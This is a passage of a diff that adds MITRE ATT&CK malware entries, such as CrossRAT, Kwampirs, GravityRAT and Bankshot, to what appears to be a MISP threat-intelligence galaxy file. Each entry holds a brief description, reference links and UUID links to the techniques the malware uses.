"dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "86fc6f0c-86d9-473e-89f3-f50f3cb9319b", + "value": "SpyDealer - S0324" + }, + { + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.", + "meta": { + "external_id": "S0235", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0235", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + ], + "synonyms": [ + "CrossRAT" + ] + }, + "related": [ + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a5e91d50-24fa-44ec-9894-39a88f658cea", + "value": "CrossRAT - S0235" + }, + { + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)", + "meta": { + "external_id": "S0253", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0253", + "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + ], + "synonyms": [ + "RunningRAT" + ] + }, + "related": [ + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "60d50676-459a-47dd-92e9-a827a9fe9c58", + "value": "RunningRAT - S0253" + }, + { + "description": "[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)", + "meta": { + "external_id": "S0325", + "refs": [ + "https://attack.mitre.org/software/S0325", + "https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/" + ], + "synonyms": [ + "Judy" + ] + }, + "related": [ + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "172444ab-97fc-4d94-b142-179452bfb760", + "value": "Judy - S0325" + }, + { + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)", + "meta": { + "external_id": "S0263", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0263", + "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + ], + "synonyms": [ + "TYPEFRAME" + ] + }, + "related": [ + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "value": "TYPEFRAME - S0263" + }, + { + "description": "[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)", + "meta": { + "external_id": "S0326", + "refs": [ + "https://attack.mitre.org/software/S0326", + "https://www.wandera.com/reddrop-malware/" + ], + "synonyms": [ + "RedDrop" + ] + }, + "related": [ + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9ed10b5a-ff20-467f-bf2f-d3fbf763e381", + "value": "RedDrop - S0326" + }, + { + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)", + "meta": { + "external_id": "S0236", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0236", + "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + ], + "synonyms": [ + "Kwampirs" + ] + }, + "related": [ + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "value": "Kwampirs - S0236" + }, + { + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)", + "meta": { + "external_id": "S0237", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0237", + "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + ], + "synonyms": [ + "GravityRAT" + ] + }, + "related": [ + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1d1fce2f-0db5-402b-9843-4278a0694637", + "value": "GravityRAT - S0237" + }, + { + "description": "[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)", + "meta": { + "external_id": "S0273", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0273", + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + ], + "synonyms": [ + "Socksbot" + ] + }, + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e494ad79-37ee-4cd0-866b-299c521d8b94", + "value": "Socksbot - S0273" + }, + { + "description": "[Skygofree](https://attack.mitre.org/software/S0327) is Android spyware that is believed to have been developed in 2014 and used through at least 2017. (Citation: Kaspersky-Skygofree)", + "meta": { + "external_id": "S0327", + "refs": [ + "https://attack.mitre.org/software/S0327", + "https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/" + ], + "synonyms": [ + "Skygofree" + ] + }, + "related": [ + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3a913bac-4fae-4d0e-bca8-cae452f1599b", + "value": "Skygofree - S0327" + }, + { + "description": "[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform remote access tool that was first observed in November 2017. (Citation: jRAT Symantec Aug 2018)", + "meta": { + "external_id": "S0283", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0283", + "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + ], + "synonyms": [ + "jRAT", + "Trojan.Maljava" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "value": "jRAT - S0283" + }, + { + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)", + "meta": { + "external_id": "S0238", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0238", + "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + ], + "synonyms": [ + "Proxysvc" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "069af411-9b24-4e85-b26c-623d035bbe84", + "value": "Proxysvc - S0238" + }, + { + "description": "[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)", + "meta": { + "external_id": "S0293", + "refs": [ + "https://attack.mitre.org/software/S0293", + "http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/", + "https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/" + ], + "synonyms": [ + "BrainTest" + ] + }, + "related": [ + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e13d084c-382f-40fd-aa9a-98d69e20301e", + "value": "BrainTest - S0293" + }, + { + "description": "[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)", + "meta": { + "external_id": "S0239", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0239", + "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + ], + "synonyms": [ + "Bankshot", + "Trojan Manuscript" + ] + }, + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + 